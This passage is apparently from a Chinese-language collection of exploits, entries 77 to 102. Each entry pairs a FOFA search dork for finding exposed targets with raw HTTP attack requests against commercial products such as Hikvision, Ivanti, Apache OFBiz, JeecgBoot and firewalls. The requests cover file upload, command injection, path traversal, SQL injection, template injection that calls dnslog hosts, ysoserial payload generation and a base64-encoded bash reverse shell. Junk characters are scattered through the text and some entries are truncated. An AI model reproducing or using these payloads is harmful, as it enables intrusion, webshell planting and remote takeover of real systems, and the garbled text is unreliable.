% X8 ]% A. h0 kGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
* e8 D/ ?3 O, l  `( r+ H


% U9 f) y2 t, }$ o77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
6 H) k2 \8 m# V  s) i9 I5 B8 MContent-Length: 433
" ^6 B4 U, ^7 Z8 C; fAccept: */*
Accept-Encoding: gzip, deflate
  _" L2 C5 o* x8 \Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
0 h8 G( ~0 }' A  ]( v& W/ H" @  l3 q
' a$ O2 R* Q( i' ^6 f% I- B------------398jnjVTTlDVXHlE7yYnfwBoix
3 S! E$ M" Q* n  Y5 Y0 wContent-Disposition: form-data; name="folder"
' h) A; j' {6 D8 J, \
; K2 V4 t  n  W$ {2 n6 `/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
3 N+ p, R8 b8 M" S* p
hello1234567
, S/ U" q( I' }' Q------------398jnjVTTlDVXHlE7yYnfwBoix
# Q* A8 q6 t0 S" S6 y2 m9 F7 m1 TContent-Disposition: form-data; name="Upload"
4 E+ e) _' ~* ]% n8 O- h
5 o8 p" w, G+ S- }Submit Query
) a7 M8 L" h+ W- [; ^------------398jnjVTTlDVXHlE7yYnfwBoix--
! ]/ O; u8 L- @0 x& Y! Z, z, j) D9 p
  I/ j* v3 h$ [5 C
$ C% Q( ?2 y2 C' L4 U2 C0 O& X* b78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
6 t2 R: Y$ c  z! s/ XPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
+ q+ G6 X" y% {! _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
8 m/ R: H/ L" tContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
- W1 u! P0 p; y  AContent-Type: image/png
" I3 U7 W$ U1 l
1 ]; d& x; D9 }4 B8 g: ?$ H4 ?YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
* U; y2 _2 c7 W5 Z- w. vContent-Disposition: form-data; name="target"
* A& |- e" ~$ j) }( p  i( |
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

' a0 w5 d6 k: s$ p/ N+ k
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
- Q& X( J" [5 \  \9 P
6 o  O: _/ Q3 h6 U
9 b2 a& ?  c% Z1 ]  r7 {79. BYTEVALUE 百为流控路由器远程命令执行
8 J8 ^$ [/ h5 f- ~7 S$ ?7 sFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
. j4 Y" y7 j7 t# }" G" ^* l0 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 N' M2 x, M! ?( n$ Y  DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* }2 _4 c3 a2 Y9 `2 m4 [- {Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
/ G  G5 k' q2 h$ [# _2 O
( Y* i" s3 k% ?2 ?' l1 c1 q! U
0 ]/ `; ~# i; e: u80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
8 Y) _2 W+ Y0 w( Q, D$ bFOFA：app="速达软件-公司产品"
. U) f7 E9 s8 z4 F( @8 U' zPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
$ r6 q- j- @" R* m1 K& jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ v/ x) X' Y5 sContent-Length: 27
5 D8 O4 r4 b$ g, u) K, h- u+ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
/ p" J# y) Y" o% j1 i6 j# oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>


) V1 y/ ~( i- M' r7 aGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
4 H' e3 n; l- N* J' H% gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" r4 Z/ u) o( E4 z( t$ B) y/ VConnection: close
3 `, Y) e5 G- w: MAccept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. a& j' o/ q0 K9 }! zAccept-Encoding: gzip
# d" G: I) S- }" J2 Z
3 ]6 L  e# {# I  U
$ Z* p! ^0 m. |& A- r8 P* d82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
5 q- F% M; \- v8 ~$ O  {' S% JHost: BaseURL
$ |+ X  h4 _9 [9 C2 |7 gUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
8 i7 @- X- l+ @* x3 i
  e( t4 Z$ r( J) L8 y+ F/ l/ xz1=1&z2="|id;"&z3=bhost
# S6 h+ {+ a: ^  j+ G' [1 P

83. JeecgBoot testConnection 远程命令执行
  A4 {) ^) j+ c0 WFOFA：title=="JeecgBoot 企业级低代码平台"
1 P5 M  e3 @% o( {8 [$ x
: @; |9 h& Y9 ^* k+ i9 d  I
, h$ o- o- {. s3 ZPOST /jmreport/testConnection HTTP/1.1
# [3 ?5 O3 C1 A0 z- L' {% `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: n5 j. Z) I, G+ f' c/ Q* u! T. ]) ~* DContent-Length: 8881
Accept-Encoding: gzip
8 m4 J9 T6 n$ q2 t  XCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
  a3 H& I% W* @, K9 q) V( v
PAYLOAD
8 C; H9 x  M+ f# @, S9 m
" V2 X! ?' s! Y' e84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
* J5 [9 [5 \$ q4 r) JFOFA：title=="JeecgBoot 企业级低代码平台"
/ H5 {: ?; W- m4 P


6 x, o1 y1 }, X; LPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
6 t& H' c" n3 x- o4 m. I, j4 Z& B* XHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
8 n3 M) N& I4 ?9 r$ ZAccept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

6 K6 j, g4 k" u8 }! a{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
2 B2 }( ], D( _+ ]  F* s
1 h9 E' K. P7 y6 ^( o
4 k, h' r! g0 n! m8 _$ g, ?85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
& U, Y9 C! X: w/ I- @POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
; H9 Y8 y  w3 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# n, Q; e: S- d) M8 sContent-Type: application/octet-stream
Accept-Encoding: gzip
, m4 B+ Y- o. y. d1 I3 X3 X" }
% G4 y, a, }/ q' APAYLOAD

9 [4 I. O* s+ Q回显URL：http://x.x.x.x/userfiles/index.jsp

% h! ~5 D/ [' l9 V, F86. 日本tosei自助洗衣机RCE
1 f8 c7 g6 q: K9 ~% N4 e! JFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
$ F2 o5 Q3 E/ U- JUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
( ~5 l! w* X# O, {Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
4 Z& ^. ]" b* c2 }/ r/ o. PContent-Type: application/x-www-form-urlencoded
+ V  @. n. c) h+ j
host=%0acat${IFS}/etc/passwd%0a&command=ping
* g2 }  N6 w5 r& j- P! m- X

87. 安恒明御安全网关aaa_local_web_preview文件上传
2 K8 x* ?( p4 T  u7 }% L' M  _" J/ G9 NFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
! _  r" S: s3 w* T' h6 V2 Y7 H; {Host: X.X.X.X
. w* F* P; K) G! F) MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# l+ O! K$ l" A! U- C7 rConnection: close
5 l: N$ r* Q& X3 I- g" pContent-Length: 198
6 C8 }$ m! Y6 g/ {/ {Accept-Encoding: gzip
8 t# s7 L* t9 FContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
  H6 v. v6 ~1 q- I4 ]
--qqobiandqgawlxodfiisporjwravxtvd
  Y7 j2 w+ w: @' r3 i7 |3 OContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
9 N! h) ^7 K8 c, E, N. l- `* }! v2 lContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
8 k8 Q& m* y3 Z( w8 R  l/ w--qqobiandqgawlxodfiisporjwravxtvd--
2 H) W6 O; N! U. V
: J4 V- y/ i7 M: T* J
/jfhatuwe.php
: W# D% L' ~% H  S
8 k6 O5 O9 l: `; Y88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 f6 ^9 C; _, QFOFA：title="明御安全网关"
9 x7 G& F9 Q# f' ^$ a3 L5 c$ bGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
1 @* Z  i4 H( M1 t  v) Y5 N2 |9 oHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 f6 u. y* j6 t! M5 m0 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) _' @  F! F! E+ y; R( Q- ]. gConnection: close


3 J9 b# y2 K( s% A9 u9 y) f/astdfkhl.php
' }# I  C3 k' g$ M
) ~$ j" m& k0 J89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 u. n5 [- l% h( j4 f3 DFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
6 y$ C7 B, ^- o# G  xHost: x.x.x.x
% l' ~' ]( s" M! d" TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
& c4 A& u9 [& F% ]Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

; ^# F" s8 y9 i. i. L) G; e# i- h
& ^2 s/ S$ o+ j7 ?$ z8 o2 R$ x* z90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
$ ]2 l+ P% X. L/ S: r) {7 e: T, x2 }Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
, K: K- V3 }" K1 c0 M; jAccept-Encoding: gzip, deflate
+ @7 M1 K+ r& a6 L6 Q. E$ u) u. OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 v8 D/ [. [7 L( w/ l& @, W1 gConnection: close
8 }; ?5 V4 j: B" i/ ]8 ]  z6 V$ [Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

4 z& R9 r, @, Y2 L9 hjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
; }# V) \/ n& }# ?) w$ g# {+ {  G

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
# b( ?8 h* T& E3 W3 J; d8 Q+ m5 ^, xGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
9 y! S1 k$ n: @9 i4 p2 ~' HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. Z' h7 L; `9 A) U' VAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


# e- {8 H& m2 ~3 ~+ i( H0 G6 W, X
92. 海康威视运行管理中心session命令执行
' p% p! C7 U* WFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
% S5 x7 Z" L) O  U7 O5 PHost:
9 W" V' G4 s& X; }, C% D7 a: cAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
: e7 ~5 ?3 t0 iTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5 w+ g5 j; s/ H$ H+ S! sAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD
3 ?' U9 _! O9 p3 R

! Q. k8 ~: d5 d# G4 v93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
) d, d' J1 g1 X& E/ aContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- ^# p5 G2 j0 x% s8 }  l% y4 V: oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

8 \7 e' Y% g1 X7 h8 y10000000
3 q6 L, Z- b6 J2 h  t' r% m& D2 N0 N------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
! G/ o$ x* L) I" ]7 Q8 R  eContent-Type: text/plain
3 E% l5 p$ m  h# D% V8 F$ t
* R' K: r+ F: G8 V3 H% U" Nwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
4 V* j/ V) U) H$ OContent-Disposition: form-data; name="submit_post"

5 o1 t* x1 q7 e; vobj_app_upfile
* b& ]$ U2 ]: h------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

2 i! F) Y( Z& b. g, t0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
  X7 `) x6 _2 i) y, ^1 @  v7 l  R( f* M
+ X' C, I  W; m" }
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 T$ c' `1 c' s! x  ]! O, n; q

7 f+ A5 ]$ d. P+ b: m94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
5 i& R9 X6 d+ L# t3 O3 M7 k9 PFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  D/ N0 c2 b: O) C7 a) sPOST /?g=obj_area_import_save HTTP/1.1
2 |  e6 X0 R( o. e$ S* q9 hHost: x.x.x.x
3 Q8 b* t* Y  e& EContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
) f; n& d6 P: Z/ H! n# D' K
9 m' A0 b! l! k, I( s) P) @------WebKitFormBoundarybqvzqvmt
4 n4 u% l+ d$ K9 r  p1 ?+ W# L) a) SContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
$ l7 [- ?( ?/ j- Q2 f0 K' M% CContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
' [  A. t9 b0 Y$ a) a7 ~------WebKitFormBoundarybqvzqvmt
& C2 y9 x4 [" T8 N0 ?Content-Disposition: form-data; name="submit_post"

obj_app_upfile
: y+ m6 B7 a" a/ e$ n------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

- X% g) k3 A, Q8 [) P0b9d6b1ab7479ab69d9f71b05e0e9445
. }) W& I" |2 s4 [% K$ ~------WebKitFormBoundarybqvzqvmt--
7 W3 L8 v2 Z9 P- b

( C! o$ u. H' T6 p0 P3 [# o, R
; @4 @6 E8 T# o- c3 `* A' tGET /attachements/xlskxknxa.txt HTTP/1.1
. l+ C6 }7 R8 U8 q0 CHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



  w; ~2 {7 H* C' q95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
- m$ |# c! E2 }) t7 M7 ]FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
( p' `5 u& I& m7 F* F! i! c7 V0 iContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
0 K" i; Y7 z: N0 |3 D/ [! j3 A    <params>
      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
" u" _3 b- G: ~* i      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
8 w: a: u) `* a( x4 x        </member>
      </struct>
1 c$ i( L% k: b% O1 D      </value>
    </param>
    </params>
6 {) w, Z7 I3 m* o* j</methodCall>
- i0 h) g/ H/ o# T) r
) v6 Z# t' q" w. S
用ysoserial生成payload
" ?+ F  P4 ?8 Y& p# P* l- T  Sjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
* {" }! Y0 w3 D/ n  ?

将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
3 P2 E: L  Q9 W- ~3 x; O: s* VContent-Type: application/xml
5 N5 J) S0 W3 J: a% b/ s  qAccept-Encoding: gzip
0 t/ y0 c! e2 i, Z- F
PAYLOAD
' F$ j. O1 {, u( h9 T% z
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
2 ^& o" k2 t, ?" h4 f1 o; gPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( U; a/ z  o* `" z" K# _Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
1 Y$ h; S+ `7 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
9 \! p1 Y7 @% ~" m0 _) TContent-Length: 55
+ E- f0 M- m: {: Q: \- K/ n4 D
( `" `$ y  }* l' N4 OgroovyProgram=throw+new+Exception('id'.execute().text);


! \5 Z) E# x& I% {- I反弹shell
2 i8 R" h: V  t# c$ a4 j在kali上启动一个监听
+ N" U' R" V  Ync -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: j: V. d3 ?9 Q* f' mHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ e: o3 I2 ~; a3 \  E6 C" P& xAccept: */*
. i+ K1 }! t% {9 D4 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
7 f) y3 D, |2 s* ^/ n. |0 r0 q
" J2 Q/ o; u3 P9 F9 K$ A3 e9 n97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
1 _( G1 ?, y6 Z1 G3 }) @) DHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
, k1 u4 Y0 z2 Z" t+ l

( u) y4 y8 J' r/ H98. SpiderFlow爬虫平台远程命令执行
" R/ s, o5 J; l' y+ n& O3 tCVE-2024-0195
+ o  u# N! ?6 t0 U% PFOFA：app="SpiderFlow"
4 W0 `8 q' D+ Q8 g% c! c- s. L, ]POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
+ J+ O/ L1 i, E. n0 \$ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
( V! o+ T9 q( y8 I2 w7 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 n5 s' c  \6 L' Y, XContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

$ a! T% I& M4 |1 w3 k+ n2 ]id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

6 D% P2 {, }" `2 O: S; n6 R
99. Ncast盈可视高清智能录播系统busiFacade RCE
& M6 B! i, ^- u! j: s- KCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
$ |0 @' @) m+ U! m6 zPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
7 X4 m& n: \1 b. Q3 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
+ |# T" ~4 A5 s0 U) R. y  wContent-Length: 154
* e# r4 n3 W' @* l3 ^Accept: */*
0 h- _% a" H- v% o4 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


, y( x. S# @  F100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
6 S6 ?8 @0 q) L5 ]  UCVE-2024-0352
FOFA：icon_hash="874152924"
$ ?4 }; M" t2 w/ U4 L0 @POST /api/file/formimage HTTP/1.1
) U9 n0 B3 L" @# VHost: 192.168.40.130
" R+ {6 V$ W( o- n, p2 S9 O% _: uUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
! _: e/ D, Y! ^4 n% Y, kContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

, ]7 q; c2 I. ?1 [. a------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
1 O; M2 h  s) a; lContent-Type: application/x-php
* g; `* f0 W6 e) t
2ayyhRXiAsKXL8olvF5s4qqyI2O
& G. P& `1 I7 Q7 L4 ?3 }# \8 T* a------WebKitFormBoundarygcflwtei--
3 T0 c9 D  ~, \  w9 X

101. ivanti policy secure-22.6命令注入
( s. p% e1 D( V1 @- _CVE-2024-21887
7 M- f1 i2 P+ S* B7 Q: WFOFA：body="welcome.cgi?p=logo"
! |" x: {" b' J8 p' {2 QGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
) d) i/ Y) S  t" W- R5 CHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. W( V+ [1 e  B6 |% \& Z" z  kConnection: close
Accept-Encoding: gzip

9 @9 o2 r7 G- g/ D8 _& w) p8 A
, r7 h6 J5 z* E, N0 l102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
6 \' R1 e* d! Z& f: x% CFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
# k/ Q! N7 o1 }; nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  